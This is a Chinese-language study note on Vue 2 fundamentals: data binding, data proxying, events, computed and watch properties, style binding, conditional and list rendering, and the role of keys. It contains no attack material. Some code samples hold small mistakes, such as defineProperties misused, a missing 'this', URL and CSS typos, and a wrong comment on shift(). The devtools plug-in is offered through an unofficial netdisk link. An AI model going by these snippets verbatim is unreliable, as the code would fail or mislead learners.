Vue2学习笔记

Vue

准备工作

Vue的下载

下载网址:https://v2.cn.vuejs.org/v2/guide/installation.html#Vue-Devtools

Vue辅助工具的下载

Vue浏览器开发者工具下载:

网盘网址:https://pan.baidu.com/s/1CKAqFa-yfeQ-Nd4iEXJxeg

提取码:8888

  • 浏览器点击【加载已解压的扩展程序】选中我们解压完成后的文件夹
  • 出现如下图红框中的vue.js devtools 插件,就代表完成了

在这里插入图片描述

Vue开发提示工具VScode下载:

在VScode的扩展工具中查找Vue 3 Snippets

image-20221023105547165

Vue开发的.vue文件提示支持下载:

在VScode的扩展工具中查找Vetur

image-20221029123413753

附:

  • .vue文件可以使用<vue>直接生成基本结构

Vue基础

第一个Vue项目

  • 想让Vue工作就需要创建一个Vue实例,且要传入一个配置对象
  • root容器里面的代码依然符合html规范,只不过混入了一些特殊的Vue语法
  • root容器里面的代码被称为Vue模板
  • Vue实例和容器一一对应
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <!-- 引入Vue的生产环境 -->
    <script type="text/javascript" src="../Vue_js/vue.js"></script>
</head>
<body>
    <!-- 准备容器 -->
    <div id="root">
        <!-- 使用插值语法提取Vue实例对象的数据,插值语法中写JS表达式 -->
        <h1>我是{{name}}</h1>
    </div>
</body>
    <script type="text/javascript">
        Vue.config.productionTip = false; // 阻止vue在启动时产生生产提示
        // 创建Vue实例
        const vm = new Vue({
            el:'#root', // el属性(element)用于指定Vue实例为哪个容器服务,值通常为CSS选择器字符串
            data:{ // 设置Vue实例的数据,提供给容器使用,值可以是一个对象,一个函数...
                name:'Bokey'
            }
        })
    </script>
</html>

结果:

image-20221022090952371

Vue模板语法

Vue模板语法有两大类:

2.插值语法:

功能:用于解析标签体内容

2.指令语法:

功能:用于解析标签属性

举例:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script type="text/javascript" src="../Vue_js/vue.js"></script>
</head>
<body>
    <div id="root">
        <h1>插值语法</h1>
        <h3>您好{{name}}</h3>
        <hr />
        <h1>指令语法</h1> <!-- v-bind:后面的属性值Vue会当成JS表达式处理 -->
        <a v-bind:href="url">点我去百度</a>
        <a :href="url">点我去百度</a> <!-- 简写形式'v-bind:'简写成':' -->
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false; // 阻止vue在启动时产生生产提示

    // 创建Vue实例
    const vm = new Vue({
        el: '#root', // el属性(element)用于指定Vue实例为哪个容器服务,值通常为CSS选择器字符串
        data: { // 设置Vue实例的数据,提供给容器使用,值可以是一个对象,一个函数...
            name: 'Bokey',
            url: 'http://www.baidu,com'
        }
    })
</script>
</html>

结果:

image-20221022093617999

数据绑定

Vue中有两种数据绑定的方式

1.单向绑定(v-bind):数据只能从Vue实例的data属性流向页面

2.双向绑定(v-model):数据不但能从Vue实例的data属性刘翔页面,也能从页面表单类标签的value值流向Vue实例的data属性

<body>
    <div id="root">
        <!-- 普通写法 -->
        单向数据绑定:<input type="text" v-bind:value="name" /><br />
        双向数据绑定:<input type="text" v-model:value="name" /><br />
        <!-- 简写形式 -->
        单向数据绑定:<input type="text" :value="name" /><br />
        双向数据绑定:<input type="text" v-model="name" /><br />
        <!-- 注意:如下代码是错误的,v-model只能应用在表单类元素上,或者说只有有value属性的标签能使用 -->
        <h2 v-model:x="name">您好</h2>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false; // 阻止vue在启动时产生生产提示
    // 创建Vue实例
    const vm = new Vue({
        el: '#root',
        data: {
            name: 'Bokey'
        }
    })
</script>

结果:

image-20221022095225228

当改变单向数据绑定表单的value值:

image-20221022095316125

当改变双向数据绑定表单的value值:

image-20221022095358327

el和data的两种写法

el的两种写法:

1.创建Vue实例对象时配置el属性

2.先创建Vue实例对象,再通过vm.$mount('el值')指定el属性的值

data的两种写法:

1.对象写法

2.方法写法(定义组件必须使用方法写法),需要注意的是不能写成箭头函数(因为使用箭头函数的this不再是Vue,而是Windows)

<body>
    <div id="root">
        <h1>您好{{name}}</h1>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false; // 阻止vue在启动时产生生产提示
    // 第一种写法:
     const vm = new Vue({
         el: '#root', 
         data: {
             name: 'Bokey'
         }
     })
    // 第二种写法:
    const vm = new Vue({
        // data(){
        //     return {
        //         name:'Bokey'
        //     }
        // }
        data:function(){
            return {
                name:'Bokey'
            }
        }
    })
    vm.$mount('#root');
</script>

MVVM模型

image-20221022101301981

数据代理

数据代理就是通过一个对象代理对另一个对象进行操作(读/写),从而达到你改我也改,你变我也变的情形

Object.defineProperty()

用于定义对象属性,但它其中有很多Vue的底层原理;下面以将person的age属性和number绑定为例子

let number = 18
let person = {
	name: 'Bokey',
	sex: '男',
	// age : 18 
}
// 使用defineProperties方法为person对象配置属性age
Object.defineProperties(person, 'age', {
	// defineProperties方法一些普通的属性配置
	// value: 18, // 配置属性值为18,不过设置了get和set方法就不能设置了
	enumerable: true, // 配置属性是否可以被枚举(遍历),默认为false
	// writable: true, // 配置属性是否可以被修改,默认为false,不过设置了get和set方法就不能设置了
	configurable: true, // 配置属性是否可以被删除,默认为false

	// 下面是关键!
	// 当有人读取person的age属性时,get方法(getter)就会被调用,get方法的返回值就是属性值(age的值)
	get() {
		console.log('有人读取person的age');
		return number;
	},
	// 当有人修改person的age属性时,set方法(setter)就会被调用,且会收到修改的值(用参数value接收)
	set(value) {
		console.log('有人修改person的age,修改为:' + value);
		number = value;
	}
})
/*
实际上就是使用到get和set方法将person的age属性和number变量进行了绑定
number改变person的age也改变
person的age该百年number也改变
*/

测试:

image-20221022104727513

Vue中的数据代理

Vue示例就是将vm._data中的属性(eg:vm._data.name)和vm中的属性(eg:vm.name)进行了数据代理

image-20221022111825955

<body>
    <div id="root">
        <h2>学校名称:{{name}}</h2>
        <h2>学校地址:{{address}}</h2>
    </div>
</body>
<script type="text/javascript">
    const vm = new Vue({
        el:'#root',
        data: {
            name:'广州新华学院',
            address:'东莞麻涌'
        }
    })
    console.log(vm);
</script>

测试:

image-20221022111225979

image-20221022111408852

事件绑定

事件处理

事件绑定使用v-on指令

  • @click='demo'v-on:click='demo'的简写形式
  • 事件处理函数需要配置在Vue实例的method属性对象中
  • 注意不要使用箭头函数,不然函数中的this指针是windows不再是Vue实例对象
  • 若需要将参数传给Vue实例对象的事件处理函数,直接在标签中添加参数;若即需要传递普通参数有需要事件对象参数,则需要写事件对象的占位符$event,并且在相应位置接收
<body>
    <div id="root">
        <h2>欢迎,{{name}}</h2>
        <button v-on:click="showInfo">点我提示信息(无参数)</button>
        <button @click="showInfo2($event,66)">点我提示信息(带参数)</button>
    </div>                      <!-- ↑ 事件对象占位符 -->
</body>
<script type="text/javascript">
    const vm = new Vue({
        el:'#root',
        data:{
            name:'Bokey'
        },
        methods:{
            showInfo(event){ // 没有传参的事件处理函数可以直接接收事件对象
                console.log(event);
                console.log(this);
                alert('您好')
            },
            showInfo2(event,number) { 
                console.log(event);
                console.log(this);
                console.log(number);
                alert('您好')
            }
        }
    })
</script>

结果:

image-20221022130936282

分别点击测试:

image-20221022131023461

事件修饰符

事件修饰符用来为事件添加限制,虽然使用事件对象也能做到,但是事件修饰符更加方便;

Vue中的事件修饰符:

  • prevent:阻止默认事件
  • stop:阻止事件冒泡
  • once:事件只会触发一次,事件触发后无法再次触发
  • capture:使用事件的捕获模式,事件执行顺序按捕获顺序执行
  • self:只有event.target是当前操作元素才触发事件,一定程度上阻止了冒泡
  • passive:事件的默认行为(eg:滚轮滚动,a标签页面跳转)立即执行,无需等待回调函数执行完毕
<!-- 下面以prevent修饰符为例: -->
<body>
    <div id="root">
        <h2>欢迎,{{name}}</h2>
                                        <!--  ↓ 使用事件修饰符修饰事件 -->
        <a href="http://www.baidu.com" @click.prevent="showInfo">点我提示信息</a>
    </div>
</body>
<script type="text/javascript">
    const vm = new Vue({
        el: '#root',
        data: {
            name: 'Bokey'
        },
        methods: {
            showInfo(event) {
                // 使用事件对象阻止默认事件
                // event.preventDefault() 
                alert('您好')
            }
        }
    })
</script>
<!--
事件修饰符可以连续使用:                     ↓ 先阻止默认行为,再阻止冒泡
<a href="http://www.baidu.com" @click.prevent.stop="showInfo">点我提示信息</a>
-->

点击a标签,提示信息后不会发送跳转,因为默认事件被阻止

image-20221022132405181

键盘事件判断

在实际开发中,可能遇到按下某个按键(eg:回车)触发事件的情景,这就使用到按键别名:

  • 回车 => enter
  • 删除 => delete(捕获删除和退格按键)
  • 退出 => esc
  • 空格 => sqace
  • 缩进 => tap (必须配合keydown事件去使用,因为tap键默认有失去焦点功能)
  • 上 => up
  • 下 => down
  • 左 => left
  • 右 => right
Vue未提供的按键别名,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)

特殊按键:
系统修饰符(用法特殊):ctrl,alt,shift,meta(win键)
由于它们都有默认的功能,所以配合keyup事件需要特殊操作才能触发
	1.配合keyup使用:按下修饰键同时按下其他任意按钮,随后释放该按钮,事件才触发
	2.配合keydown使用:正常触发
	
Vue.config.keyCodes.自定义键名 = 键码,可以定义按键别名

下面以按下回车就在控制台打印表单value值为例:

<body>
    <div id="root">                                               <!--  ↓ 使用按键别名  -->
        <input type="text" placeholder="按下回车控制台打印输入内容" @keyup.enter="showInfo"/>
        <input type="text" placeholder="按下回车控制台打印输入内容" @keyup.huiche="showInfo"/>
    </div>
</body>
<script type="text/javascript">
    // 自定义按键别名
    Vue.config.keyCodes.huiche = 13
    const vm = new Vue({
        el: '#root',
        methods: {
            showInfo(event) {
                // 判断是否按下的是回车
                // if(e.keyCode !== 13) return
                console.log(event.target.value); // 控制台打印输入内容
            }
        }
    })
</script>
<!--
按键别名可以连续使用:                                              ↓ 按下ctrl+y触发
<input type="text" placeholder="按下回车控制台打印输入内容" @keydown.ctrl.y="showInfo"/>
-->

测试:

image-20221022135819606

计算属性

  • 定义:通过其他属性计算得来的属性

  • 原理:底层借助了Object.defineProperty()提供的get和set方法

  • 优势:具有缓存机制;效率更高,调试方便

  • 附:

    Ⅰ.计算属性最终会挂载在Vue实例对象上,直接读取使用就可以

    Ⅱ.若计算属性可以被修改就必须定义set方法

    Ⅲ.计算属性中使用this来读取Vue实例的data属性

当Vue处理的数据是Vue实例的data属性中的两个或多个属性通过计算得来时,可以使用到Vue的计算属性;下面以姓和名为data中的属性,全名为计算属性为例:

<body>
    <div id="root">
        姓:<input type="text" v-model="firstName"/><br/><br/>
        名:<input type="text" v-model="lastName"/><br/><br/>
        全名:<span>{{fullName}}</span>
    </div>
</body>
<script type="text/javascript">
    const vm = new Vue({
        el:'#root',
        data:{
            firstName:'张',
            lastName:'三'
        },
        // 计算属性的定义:定义在computed中
        computed:{
            // 计算属性:fullName = firstName-lastName
            fullName:{
                // 计算属性必须定义get方法,得到计算属性的值
                get(){ //   ↓ 注意:使用this来读取Vue实例的data属性,直接读取是读取不到的!
                    return this.firstName + '_' + this.lastName
                },
                // 当数据可能被修改时需要定义set方法
                set(value){
                    const arr = value.split('-')
                    this.firstName = arr[0] // 修改firstName
                    this.lastName = arr[1] // 修改lastName
                }
            }
        }
    })
</script>
<!--
此处的get和set方法的使用类似Object.defineProperty()的get和set方法
1.当有人读取fullName属性时,get就会被调用(或者调取缓存),且返回值就是fullName属性的值
2.当fullName属性被修改时,调用set
3.get()的调用具有缓存,若数据没有改变不会重复执行get方法;因此get的调用时机:Ⅰ.初次读取fullName属性 Ⅱ.fullName属性所依赖的数据发生变化
-->

测试:

image-20221023102707464

输入框输入对应的姓和名

image-20221023102717921

在控制台修改计算属性fullName,注意是使用vm.fullName来使用计算属性

image-20221023102652182


计算属性简写

当计算属性只考虑读取,不考虑修改时,计算属性可以简写为:

computed:{
    // 注意:此处的fullName依然是计算属性,不是方法,这只是他只有get方法时的简写形式!
	fullName(){
        return this.firstName + '-' + lastName
    }	
}

监视属性

  • 当被监视的属性变化时,回调函数自动调用
  • 监视的属性必须存在
  • 两种写法:Ⅰ.Vue实例对象中开启监视 Ⅱ.Vue实例对象外开启监视

当需要监视某些属性的改变时可以用到监视属性,下面以监视isHot属性为例:

<body>
    <div id="root">
        <h2>今天天气很{{info}}</h2>
        <button @click="changeWeather">切换天气</button>
    </div>
</body>
<script type="text/javascript">
    const vm = new Vue({
        el: '#root',
        data: {
          isHot:true // 普通属性isHot
        },
        computed:{
            info(){ // 计算属性info
                return this.isHot ? '炎热' : '寒冷'
            }
        },
        methods: { // 改变isHot的boolean值事件
            changeWeather(){
                this.isHot = !this.isHot 
            }
        },
        // 监视属性的定义:定义在watch中
        watch:{
            // ↓ 监视属性isHot(即作为监视属性名,也作为监视属性的监视对象),也可以是计算属性info
            isHot:{ 
                immediate:true,// 初始化也调用handler,默认false不调用handler
                // handler在监视对象值改变时触发,参数可以获取newValue(新的值)和oldValue(旧的值)
                handler(newValue,oldValue){
                    console.log('isHot被修改:' + oldValue + "->" + newValue);
                }
            }
        }
    })
</script>

测试:

image-20221023123206078

监视属性也可以写在Vue实例对象外:

const vm = new Vue({
        el: '#root',
        data: {
          isHot:true
        },
        computed:{
            info(){
                return this.isHot ? '炎热' : '寒冷'
            }
        },
        methods: {
            changeWeather(){
                this.isHot = !this.isHot 
            }
        }
    })
// 在Vue实例外写监视属性
    vm.$watch('info',{
        immediate: true,// 初始化也调用handler,默认false不调用handler
        handler(newValue, oldValue) {
            console.log('info被修改:' + oldValue + "->" + newValue);
        }
    })
深度监视
  • Vue中监视属性watch默认不监测对象内部值的改变(一层)
  • 配置深度监视deep:true可以监测对象内部值的改变(两层或多层)

当需要监视Vue实例的data中的对象属性(实例中numbers的a和b属性)的属性时,可以开启深度监视

<body>
    <div id="root">
        <h3>a的值为:{{numbers.a}}</h3>
        <button @click="numbers.a++">点我a++</button>
        <h3>b的值为:{{numbers.b}}</h3>
        <button @click="numbers.b++">点我b++</button>
    </div>
</body>
<script type="text/javascript">
    const vm = new Vue({
        el: '#root',
        data: {
          isHot:true,
          numbers:{
            a:1,
            b:2
          }
        },
        // 监视属性
        watch:{
            // 监视vm.numbers.a属性 注意:多层监视需要写成字符串形式
            'numbers.a':{
                handler(){
                    console.log("a改变了!");
                } 
            },
            // 监视vm.numbers属性,开启深度监视(numbers中a或者b改变,也算numbers改变)
            numbers:{
                deep:true, // 开启深度监视
                handler(){
                    console.log("numbers改变了!");
                }
            }
        }
    })
</script>
<!--
若监视numbers属性没有开启深度监视,无论点击a++还是b++都不会触发它的handler方法
因为numbers对象的地址没有改变,视为numbers对象没有改变
-->

测试:先点a++,再点b++

image-20221023125738437

监视属性简写

当监视属性不需要深度监视,初始化调用handler等配置时,可以使用其简写形式:

// 在Vue实例内部,使用watch的简写形式:
watch:{
    // 监视isHot属性的简写形式
	isHot(newValue,oldValue){
		console.log('isHot被修改:' + oldValue + "->" + newValue);
	}
}

// 在Vue实例外部,使用$watch的简写形式:
vm.$watch('isHot',function(newValue,oldValue){
    console.log('isHot被修改:' + oldValue + "->" + newValue);
})

监视属性和计算属性对比

computedwatch的区别:

  • computed能完成的工作,watch都能完成
  • watch能完成的工作,computed不一定能完成;例如watch能完成异步任务(定时器任务),但computed不能

举例:

// 实现当firstName属性或lastName属性改变后,等一秒再改变fullName属性
// 计算属性:
computed:{
    fullName(){
        setTimeout(() => {
            return this.firstName + '-' + lastName // 注意:这个返回值是定时器的返回值!
        },1000)
    }
}
/*
计算属性无法实现,反而会使fullName属性=undefined
因为fullName()方法没有返回值,所以默认返回undefined
*/

// 监视属性:
watch:{
    firstName(newValue){
        setTimeout(() => {
            return this.fullName = newValue + '-' + lastName
        },1000)
    },
    lastName(newValue){
        setTimeout(() => {
            return this.fullName = firstName + '-' + newValue
        },1000)
    }
}

两个重要的小原则:

  1. 所有被Vue管理的函数,最好写成普通函数,这样this指针指向的才是Vue实例对象
  2. 所有不被Vue管理的函数(定时器的回调函数,ajax的回调函数…)最好写成箭头函数,这样this指针指向的才是Vue实例对象

样式绑定

绑定Class样式

在讲解Class样式前,先准备样式:

<style>
    /* 基础样式 */
    .basic {  
        width: 400px;
        height: 100px;
        border: 1px solid black;
    }
    /* 附加样式(三选一) */
    .happy {
        border: 4px solid red;
        background-color: rgba(255,255,0.0.644);
        background: linear-gradient(30deg,yellow,pink,orange,yellow);
    }
    .sad {
        border: 4px green ;
        border-style: dashed;
        background-color: rgb(60, 60, 60);
    }
    .normal {
        border: black;
        background-color: skyblue;
    }
    /* 叠加样式(可相互搭配选择) */
    .one {
        background-color: skyblue;
    }
    .two {
        font-size: xx-large;
    }
    .three {
        border-radius: 30px;
    }
</style>
<body>
    <div id="root">
        <div>test</div>
    </div>
</body>

各个样式的效果:

基础样式basic

image-20221024084624996

附加样式(3选1):

image-20221024084737972image-20221024084810492image-20221024084837635

叠加样式(可多选搭配):

image-20221024084922992image-20221024084958385image-20221024085026883

下面举三个示例:

  1. div有一个固定的basic样式,然后一个变化的样式(默认是normal),点击div后切换变化样式为happysadnormal其中一个
  2. div的默认样式basiconetwo,three,点击后按顺序减少样式,threetwoone
  3. div有一个固定的basic样式,可以选择onetwothree哪个样式保留,哪个不保留

示例一(字符串绑定):

<body>
    <div id="root">
        <!--  ↓ 正常的样式正常写  ↓ 变化的样式绑定写 -->
        <div class="basic" :class="mood" @click="changeMood">{{name}}</div>
    </div>
</body>
<script type="text/javascript">
    new Vue({
        el:'#root',
        data:{
            name:'Bokey',
            mood:'normal'
        },
        methods: {
            changeMood(){
                const arr = ['happy','sad','normal']
                const index = Math.floor(Math.random()*3)
                this.mood = arr[index]
            }
        },
    })
</script>

示例二(数组绑定):

<body>
    <div id="root">
        <!--  ↓ 正常的样式正常写  ↓ 变化的样式绑定写 -->
        <div class="basic" :class="mood" @click="reduceMood">{{name}}</div>
    </div>
</body>
<script type="text/javascript">
    new Vue({
        el:'#root',
        data:{
            name:'Bokey',
            mood:['one','two','three']
        },
        methods: {
            reduceMood(){
                this.mood.shift(); // 数组减少样式,从数组尾向头减少
                // 数组增加样式one:this.mood.push('one')
            }
        },
    })
</script>

示例三(对象绑定):

<body>
    <div id="root">
        <!--  ↓ 正常的样式正常写  ↓ 变化的样式绑定写 -->
        <div class="basic" :class="mood">
            {{name}}<br>
            <input type="checkbox" @click="click1"/>one<br>
            <input type="checkbox" @click="click2"/>two<br>
            <input type="checkbox" @click="click3"/>three<br>
        </div>
    </div>
</body>
<script type="text/javascript">
    new Vue({
        el:'#root',
        data:{
            name:'Bokey',
            mood:{
                one:false,
                two:false,
                three:false
            }
        },
        methods: {
            click1(){
                this.mood.one = !this.mood.one
            },
            click2() {
                this.mood.two = !this.mood.two
            },
            click3() {
                this.mood.three = !this.mood.three
            }
        },
    })
</script>
绑定Style样式
<body>
    <div id="root">
        <!--  ↓ 正常的样式正常写  ↓ 变化的样式绑定写 -->
        <div class="basic" :style="styleObj">{{name}}</div>
    </div>
</body>
<script type="text/javascript">
    new Vue({
        el:'#root',
        data:{
            name:'Bokey',
            styleObj:{
               fontSize:'40px',
               color:'red'
            }
        }
    })
</script>

image-20221024094259232

条件渲染

条件渲染,顾名思义就是符合某些条件再渲染;涉及到三个指令:

  • v-if:控制元素是否存在(若判断结果为false,元素就不存在在结构中)
  • v-show:控制元素是否展示(若判断结果为false,元素添加行内样式display:none;)
  • v-else:和v-ifv-else-if搭配使用,当前面的v-ifv-else-if判断都为false时生效,使其元素展示在结构中
<body>
    <div id="root">
        <!-- v-if和v-else-if以及v-else -->
        <h1>v-if</h1>
        <h2>n的值为:{{n}}</h2><button @click="n++;">点我n++</button>
        <h2 v-if="n === 1">1</h2>
        <h2 v-else-if="n === 2">2</h2>
        <h2 v-else-if="n === 3">3</h2>
        <h2 v-else>其他</h2>
        <!-- v-show -->
        <h1>v-show</h1>
        <h2>n的值为:{{n}}</h2><button @click="n++;">点我n++</button>
        <h2 v-show="n === 1">1</h2>
        <h2 v-show="n === 2">2</h2>
        <h2 v-show="n === 3">3</h2>
        <h2 v-show="n != 1 && n != 2 && n!= 3">其他</h2>
    </div>
</body>
<script type="text/javascript">
    new Vue({
        el:'#root',
        data:{
            n:1
        }
    })
</script>
<!--
注意事项:
v-if若和v-else-if或者v-else搭配时,必须连在一起使用,否则报错!
v-show的每个判断都会进行判断,但v-if和v-else-if和v-else不一定会进行判断(eg:v-if判断为true,下面就不进行判断了),v-if和v-else-if和v-else效率更高
-->

测试:

image-20221025151543378

templatev-if的搭配使用:

templatev-if搭配,当条件生效时(为true),template并不会在结构中,这样保存了良好的结构,当我们需要同时控制多个元素显示(且不破环结构)的情况下

<body>
    <div id="root">
        <template v-if="true">
            <h1>你好</h1>
            <h2>hello</h2>
        </template>
    </div>
</body>

测试:

image-20221025152707444

列表渲染v-for

列表渲染用到v-for指令:

  • 语法:v-for="(item,index) in 遍历对象" :key="遍历键"
  • 遍历对象:数组(从index为0遍历到index为n),对象(从第一个属性遍历到最后一个),字符串(从第一个字符遍历到最后一个),int数据指定遍历次数(从0到n)
  • 遍历键:默认是生成下标(下例中的index,是自动生成的),它是列表每一列的唯一标识,Vue用它判断该列是否变化

附:

  • 遍历对象时,可以指定三个参数:v-for=(value,key,index) in 遍历对象,其中是value是对象属性值,key是对象属性名称,index是遍历索引
<body>
    <div id="root">
        <button @click="add">添加Bokey进入列表</button>
        <!-- 遍历数组 -->
        <ul>      <!--  ↓ 第一个参数是值,第二个参数是生成下标 遍历的key值可以为数据中的唯一标识数据(最好) -->
            <li v-for="(item,index) in arr" :key="index"> <!-- 这里暂时使用index作为key,这不是最好的,最好使用item.id为key -->
                名字:{{item.name}};年龄:{{item.age}};下标:{{index}}
            </li>
        </ul>
        <!-- 遍历对象 -->
        <ul>
            <!-- 注意: ↓ 第一个参数是值,第二个参数是键,第三个参数是生成下标 -->
            <li v-for="(value,item,index) in object" :key="index">
                键:{{item}};值:{{value}};下标:{{index}}
            </li>
        </ul>
        <!-- 遍历字符串 -->
        <ul>
            <li v-for="(item,index) in string" :key="index">
                字符:{{item}};下标:{{index}}
            </li>
        </ul>
        <!-- 遍历次数 -->
        <ul>
            <li v-for="(item,index) in int" :key="index">
                次数:{{item}};下标:{{index}}
            </li>
        </ul>
    </div>
</body>
<script type="text/javascript">
    new Vue({
        el: '#root',
        data: { // 数组
            arr: [
                { id: 1, name: '张三', age: 18 },
                { id: 2, name: '李四', age: 19 },
                { id: 3, name: '王五', age: 22 }
            ], // 对象
            object: {
                key_one: 1,
                key_two: 2
            }, 
            string:'string', // 字符串
            int:5 // int型数据
        }, methods: {
            add() {
                const Bokey = { id: 4, name: 'Bokey', age: 20 }
                this.arr.unshift(Bokey)
            }
        }
    })
</script>

测试:

image-20221026132753503

点击按钮

image-20221026130941534

image-20221026130955880

可以看到Bokey插入了数组第一行,这是我们主观看到的;但Vue认为其中全部都是新数据,因为列表中下标全部变化了(张三原本是0,现在是1),因此调用Diff算法,将全部人的名字和年龄都换了个遍,这是效率极低的(我们希望Vue知道我们只是在第一行插入了Bokey这个新数据,其他数据是不变的),而且偶尔会导致错误,我们在下面key的作用和原理解释

key的作用和原理

key的作用实际上就是标识每列,当数据发生改变时,用这个标识来看哪些列改变了,哪些列没改变;

<body>
    <div id="root">
        <button @click="add">添加Bokey进入列表</button>
        <ul>
            <li v-for="(item,index) in arr" :key="index">
                名字:{{item.name}};年龄:{{item.age}};下标:{{index}}
                <input type="text">
            </li>
        </ul>
    </div>
</body>
<script type="text/javascript">
    new Vue({
        el: '#root',
        data: {
            arr: [
                { id: 1, name: '张三', age: 18 },
                { id: 2, name: '李四', age: 19 },
                { id: 3, name: '王五', age: 22 }
            ]
        }, methods: {
            add() {
                const Bokey = { id: 4, name: 'Bokey', age: 20 }
                this.arr.unshift(Bokey)
            }
        }
    })
</script>

测试:每一列都输入数据(每一列的名字)

image-20221026134818773

点击按钮,添加Bokey进入列表;发现出现错行

image-20221026134834199

为什么会这样呢?

其实因为Diff算法,Vue实际上只更新了每一行的名字,年龄,文本框并没有随之更新
使用默认生成的index作为key时,以Vue的视角来看,就是更新了每列的名字和年龄,并且添加了一行名字为王五年龄为20的数据
如下图:

在这里插入图片描述

那么如何避免这种情况呢?就是使用数据中的唯一标识作为遍历的key:

这样的话,Vue就知道其实原来的数据没有变,只是在最前面添加了一行名字为Bokey年龄为20的数据;

在这里插入图片描述

<body>
    <div id="root">
        <button @click="add">添加Bokey进入列表</button>
        <ul>                               <!-- ↓ 我们使用数据中的唯一标识item.id作为key -->
            <li v-for="(item) in arr" :key="item.id">       <!-- ↓ 下标为item.id -->
                名字:{{item.name}};年龄:{{item.age}};下标:{{item.id}}
                <input type="text">
            </li>
        </ul>
    </div>
</body>
<script type="text/javascript">
    new Vue({
        el: '#root',
        data: {
            arr: [
                { id: 1, name: '张三', age: 18 },
                { id: 2, name: '李四', age: 19 },
                { id: 3, name: '王五', age: 22 }
            ]
        }, methods: {
            add() {
                const Bokey = { id: 4, name: 'Bokey', age: 20 }
                this.arr.unshift(Bokey)
            }
        }
    })
</script>

测试:每一列都输入数据(每一列的名字)

image-20221026134818773

点击按钮

image-20221026135346600


总结:

1.虚拟DOM中key属性的作用:
	key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】
	随后,Vue进行【新的虚拟DOM】和【旧的虚拟DOM】的差异比较(Diff算法)
2.Diff算法的比较方法
	(1)旧的虚拟DOM中找到了和新的虚拟DOM相同的key:
		Ⅰ.若虚拟DOM中内容没变,直接使用旧的虚拟DOM
		Ⅱ.若虚拟DOM中内容变了,生成新的真实DOM,在页面中替换旧的真实DOM
	(2)旧的虚拟DOM中没找到新的虚拟DOM相同的key:
		Ⅰ.创建新的真实DOM,渲染到页面
3.用自动生成的index作为key可能引发的问题:
	(1)若对数据进行:逆序添加,逆序删除等破环顺序的操作的话,会产生没有必要的真实DOM更新 ==> 界面效果没问题,但效率低下
	(2)若结构中还包含输入类的DOM,则会产生错误的DOM更新 ==> 界面有问题

因此,遍历key的选择最好选择数据中唯一的标识属性

列表过滤

列表过滤相当于查找功能,有两种实现方法:

  • 监视属性实现
  • 计算属性实现(推荐)

监视属性实现:

<body>
    <div id="root">
        <input type="text" v-model="keyWord" placeholder="请输入名字">
        <ul>                      <!-- ↓ 展示过滤后数据 -->
            <li v-for="(item) in filePersons" :key="item.id">
                名字:{{item.name}};年龄:{{item.age}};性别:{{item.sex}}
            </li>
        </ul>
    </div>
</body>
<script type="text/javascript">
    new Vue({
        el: '#root',
        data: {
            keyWord:'',
            persons: [ // 元素数据
                { id: 1, name: '马冬梅', age: 18 ,sex:'女'},
                { id: 2, name: '周冬雨', age: 19 ,sex:'女'},
                { id: 3, name: '周杰伦', age: 22 ,sex:'男'},
                { id: 4, name: '温兆伦', age: 25 ,sex:'男'}
            ],
            filePersons:[] // 过滤后数据
        },
        watch:{
            keyWord:{
                immediate:true, // 默认初始化调用一次handler过滤
                handler(newValue){
                    // 过滤:
                    this.filePersons = this.persons.filter((p) => {
                        return p.name.indexOf(newValue) !== -1
                    })
                }
                
            }
        }
    })
</script>

计算属性实现:

<body>
    <div id="root">
        <input type="text" v-model="keyWord" placeholder="请输入名字">
        <ul>
            <li v-for="(item) in filePersons" :key="item.id">
                名字:{{item.name}};年龄:{{item.age}};性别:{{item.sex}}
            </li>
        </ul>
    </div>
</body>
<script type="text/javascript">
    new Vue({
        el: '#root',
        data: {
            keyWord:'',
            persons: [
                { id: 1, name: '马冬梅', age: 18 ,sex:'女'},
                { id: 2, name: '周冬雨', age: 19 ,sex:'女'},
                { id: 3, name: '周杰伦', age: 22 ,sex:'男'},
                { id: 4, name: '温兆伦', age: 25 ,sex:'男'}
            ]
        },
        computed:{
            filePersons(){
                return this.persons.filter((p) => {
                    return p.name.indexOf(this.keyWord) !== -1
                })
            }
        }
    })
</script>

测试:

image-20221026151244318

image-20221026151256199

列表排序

为前面的列表过滤再加上一个排序操作,可以将搜索结构以每个人的年龄进行排序

<body>
    <div id="root">
        <input type="text" v-model="keyWord" placeholder="请输入名字">
        <button @click="sortType = 0">原顺序</button>
        <button @click="sortType = 1">年龄降序</button>
        <button @click="sortType = 2">年龄升序</button>
        <ul>
            <li v-for="(item) in filePersons" :key="item.id">
                名字:{{item.name}};年龄:{{item.age}};性别:{{item.sex}}
            </li>
        </ul>
    </div>
</body>
<script type="text/javascript">
    new Vue({
        el: '#root',
        data: {
            keyWord:'',
            sortType:0, // 0代表原顺序 1代表降序 2代表升序
            persons: [
                { id: 1, name: '马冬梅', age: 22 ,sex:'女'},
                { id: 2, name: '周冬雨', age: 19 ,sex:'女'},
                { id: 3, name: '周杰伦', age: 22 ,sex:'男'},
                { id: 4, name: '温兆伦', age: 20 ,sex:'男'}
            ]
        },
        computed:{
            filePersons(){
                // 先过滤
                const arr = this.persons.filter((p) => {
                    return p.name.indexOf(this.keyWord) !== -1
                })
                // 后排序
                if(this.sortType){ // 若需要排序
                    arr.sort((p1,p2)=>{
                        return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age
                    })
                }
                return arr
            }
        }
    })
</script>

测试:

image-20221026153136757

搜索

image-20221026153153991

点击降序按钮

image-20221026153213096

Vue监视数据原理

Vue如何使页面随着数据更新而变化的?

  • 答案是数据劫持
数据劫持
数据劫持:
指的是在访问或者修改对象的某个属性时,通过一段代码拦截这个行为,进行额外的操作或者修改返回结果;比较典型的是Object.defineProperty()和 ES2016 中新增的Proxy对象

使用代码对比数据劫持前后:

o = {
	name:'Bokey'
}
// 下面代码注释掉,输出一次对象o(数据劫持前);取消注释后,再输出一次对象o(数据劫持后)
